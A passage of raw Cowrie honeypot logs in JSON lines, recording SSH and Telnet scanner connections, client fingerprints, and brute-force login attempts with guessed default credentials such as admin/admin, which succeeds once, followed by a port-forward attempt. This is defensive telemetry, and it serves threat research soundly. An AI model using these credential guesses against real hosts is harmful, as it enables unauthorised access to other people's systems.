bc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:09:14.132428Z","src_ip":"159.203.92.129","session":"e10b8960f9a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aomeizhen","password":"aomeizhen","message":"login attempt [aomeizhen/aomeizhen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:09:14.146346Z","src_ip":"159.203.92.129","session":"e10b8960f9a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:09:15.151597Z","src_ip":"159.203.92.129","session":"e10b8960f9a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu-123","message":"login attempt [ubuntu/ubuntu-123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:09:15.442946Z","src_ip":"210.79.142.221","session":"e931d5912a58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:09:16.689746Z","src_ip":"210.79.142.221","session":"e931d5912a58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":59204,"dst_ip":"10.17.0.5","dst_port":22,"session":"4157f188f7a4","protocol":"ssh","message":"New connection: 87.251.64.176:59204 (10.17.0.5:22) [session: 4157f188f7a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:09:19.760971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:09:19.765972Z","src_ip":"87.251.64.176","session":"4157f188f7a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:09:19.862097Z","src_ip":"87.251.64.176","session":"4157f188f7a4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:09:20.151483Z","src_ip":"87.251.64.176","session":"4157f188f7a4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:09:20.251143Z","session":"4157f188f7a4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:09:20.349362Z","src_ip":"87.251.64.176","session":"4157f188f7a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:09:20.448391Z","src_ip":"87.251.64.176","session":"4157f188f7a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":38738,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d27d3a03438","protocol":"ssh","message":"New connection: 103.228.69.212:38738 (159.203.135.109:22) [session: 5d27d3a03438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:09:31.127196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:09:31.131741Z","src_ip":"103.228.69.212","session":"5d27d3a03438","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:09:31.363016Z","src_ip":"103.228.69.212","session":"5d27d3a03438","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"debian","message":"login attempt [user/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:09:32.315541Z","src_ip":"103.228.69.212","session":"5d27d3a03438","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:09:33.549115Z","src_ip":"103.228.69.212","session":"5d27d3a03438","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":49831,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4f689f74db3","protocol":"ssh","message":"New connection: 103.149.252.223:49831 (159.203.135.109:22) [session: c4f689f74db3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:09:46.907079Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:09:46.912283Z","src_ip":"103.149.252.223","session":"c4f689f74db3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:09:46.917037Z","src_ip":"103.149.252.223","session":"c4f689f74db3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":38822,"dst_ip":"159.203.135.109","dst_port":23,"session":"e03d5b455c72","protocol":"telnet","message":"New connection: 185.26.126.47:38822 (159.203.135.109:23) [session: e03d5b455c72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:09:50.191700Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48398,"dst_ip":"159.203.135.109","dst_port":22,"session":"e88b8e843e70","protocol":"ssh","message":"New connection: 159.203.92.129:48398 (159.203.135.109:22) [session: e88b8e843e70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:09:59.028761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:09:59.034066Z","src_ip":"159.203.92.129","session":"e88b8e843e70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:09:59.038301Z","src_ip":"159.203.92.129","session":"e88b8e843e70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aomeizhen","password":"aomeizhen123","message":"login attempt [aomeizhen/aomeizhen123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:09:59.050382Z","src_ip":"159.203.92.129","session":"e88b8e843e70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:10:00.058946Z","src_ip":"159.203.92.129","session":"e88b8e843e70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.110.11.213","src_port":27851,"dst_ip":"10.17.0.5","dst_port":23,"session":"6131649f36d0","protocol":"telnet","message":"New connection: 154.110.11.213:27851 (10.17.0.5:23) [session: 6131649f36d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:10:30.987869Z"}
{"eventid":"cowrie.session.closed","duration":40.835617780685425,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:10:31.027223Z","src_ip":"185.26.126.47","session":"e03d5b455c72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":55598,"dst_ip":"159.203.135.109","dst_port":22,"session":"10348d2a1015","protocol":"ssh","message":"New connection: 103.228.69.212:55598 (159.203.135.109:22) [session: 10348d2a1015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:10:33.573547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:10:33.578750Z","src_ip":"103.228.69.212","session":"10348d2a1015","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:10:33.815398Z","src_ip":"103.228.69.212","session":"10348d2a1015","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"555555","message":"login attempt [postgres/555555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:10:34.787332Z","src_ip":"103.228.69.212","session":"10348d2a1015","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:10:36.027755Z","src_ip":"103.228.69.212","session":"10348d2a1015","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43418,"dst_ip":"159.203.135.109","dst_port":22,"session":"07e61b9e8f43","protocol":"ssh","message":"New connection: 159.203.92.129:43418 (159.203.135.109:22) [session: 07e61b9e8f43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:10:45.380658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:10:45.390484Z","src_ip":"159.203.92.129","session":"07e61b9e8f43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:10:45.399429Z","src_ip":"159.203.92.129","session":"07e61b9e8f43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aono","password":"aono","message":"login attempt [aono/aono] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:10:45.414022Z","src_ip":"159.203.92.129","session":"07e61b9e8f43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:10:46.421193Z","src_ip":"159.203.92.129","session":"07e61b9e8f43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":63471,"dst_ip":"10.17.0.5","dst_port":22,"session":"187ae9120f7d","protocol":"ssh","message":"New connection: 193.46.255.86:63471 (10.17.0.5:22) [session: 187ae9120f7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:11:04.977879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:11:04.983077Z","src_ip":"193.46.255.86","session":"187ae9120f7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:11:05.121540Z","src_ip":"193.46.255.86","session":"187ae9120f7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:11:05.752365Z","src_ip":"193.46.255.86","session":"187ae9120f7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":44218,"dst_ip":"159.203.135.109","dst_port":22,"session":"689b7f1752fc","protocol":"ssh","message":"New connection: 103.228.69.212:44218 (159.203.135.109:22) [session: 689b7f1752fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:11:29.018931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:11:29.023230Z","src_ip":"103.228.69.212","session":"689b7f1752fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","a